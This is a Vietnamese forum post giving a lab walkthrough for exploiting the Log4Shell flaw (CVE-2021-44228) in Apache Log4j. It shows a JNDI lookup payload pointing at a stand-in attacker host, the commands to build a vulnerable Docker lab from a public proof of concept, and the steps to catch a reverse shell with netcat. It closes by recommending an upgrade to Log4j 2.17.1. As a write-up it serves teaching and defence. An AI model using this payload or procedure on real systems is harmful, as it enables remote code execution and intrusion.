Hướng dẫn khai thác lỗ hổng Log4Shell

DDos

VIP Members
22/10/2013
524
2.191 bài viết
Hướng dẫn khai thác lỗ hổng Log4Shell
Vào khoảng giữa tháng 12/2021, giới công nghệ thông tin trên toàn cầu sôi sục với lỗ hổng thực thi mã tồn tại trong Apache Log4j. Phạm vi ảnh hưởng của lỗ hổng này cực kỳ rộng, từ các sản phẩm của Apple, Nvidia, HPE... Các chuyên gia anh ninh mạng dự đoán rằng, hậu quả của lỗ hổng này còn có thể kéo dài trong vài năm tiếp theo.

log4shell.jpg

Ngay sau khi mã khai thác được công khai, có rất nhiều nhóm tin tặc tận dụng thời cơ để tấn công các mục tiêu nhằm trục lợi. Trong bài viết này, mình sẽ hướng dẫn các bạn cách cài đặt bài lab và tiến hành khai thác lỗ hổng CVE-2021-44228.

Kịch bản khai thác sẽ diễn ra như sau:


log4j_attack.jpeg
  1. Dữ liệu được gửi từ người dùng đến máy chủ (qua bất kỳ giao thức nào)
  2. Server nhận request mà người dùng gửi lên có chứa mã độc ${jndi:ldap://[evil.xa](<http://evil.xa>)/a} (evil.xa là server điều khiển của hacker.
  3. Lỗ hổng log4j được kích hoạt bởi payload này và máy chủ tạo request tới evil.xa thông qua"Java Naming and Directory Interface" (JNDI).
  4. Respone trả về chứa một đường dẫn đến tệp class Java từ xa (ví dụ: http://second-stage.evil.xa/Exploit.class) được chèn vào luồng xử lý của máy chủ.
  5. Payload được truyền vào trong tệp class đã cho phép hacker thực thi các đoạn code tuỳ ý.
Chuẩn bị
  • Máy tính tấn công: Kali Linux
  • Máy mục tiêu có cài đặt docker
Tiến hành

Trên máy mục tiêu:

Tiến hành thiết lập lab bằng cách thực hiện lần lượt các lệnh dưới đây:
Mã:
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
docker build -t log4j-shell-poc .
docker run --network host log4j-shell-poc

Sau khi hoàn thành cách lệnh trên, ứng dụng web tồn tại lỗ hổng đã sẵn sàng:


Screenshot 2022-01-08 230349.png

Trên máy tính tấn công:

Tải PoC với lệnh:
Mã:
git clone https://github.com/kozmer/log4j-shell-poc.git

Chạy netcat để lắng nghe kết nối trên cổng 9001


Screenshot 2022-01-09 001526.png

Mở một Terminal khác và chạy tệp poc.py vừa tải về ở trên. Trong đó, userip là địa chỉ ip của kali linux:

Screenshot 2022-01-09 001608.png

Lệnh trên sẽ tạo ra một máy chủ LDAP cục bộ độc hại. Sao chép giá trị đằng sau mục "Send me" và dán vào máy chủ web tồn tại lỗ hổng. Sau đó, click vào Login

Screenshot 2022-01-09 001732.png

Lúc này, payload được thực thi, và trong cửa sổ terminal, một reverse shell xuất hiện:

Screenshot 2022-01-09 001931.png

Do mức độ nguy hại của lỗ hổng với điểm CVSS:10, mọi người cần cập nhật lên phiên bản Log4j 2.17.1.
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
cve-2021-44228 log4j log4shell
Bên trên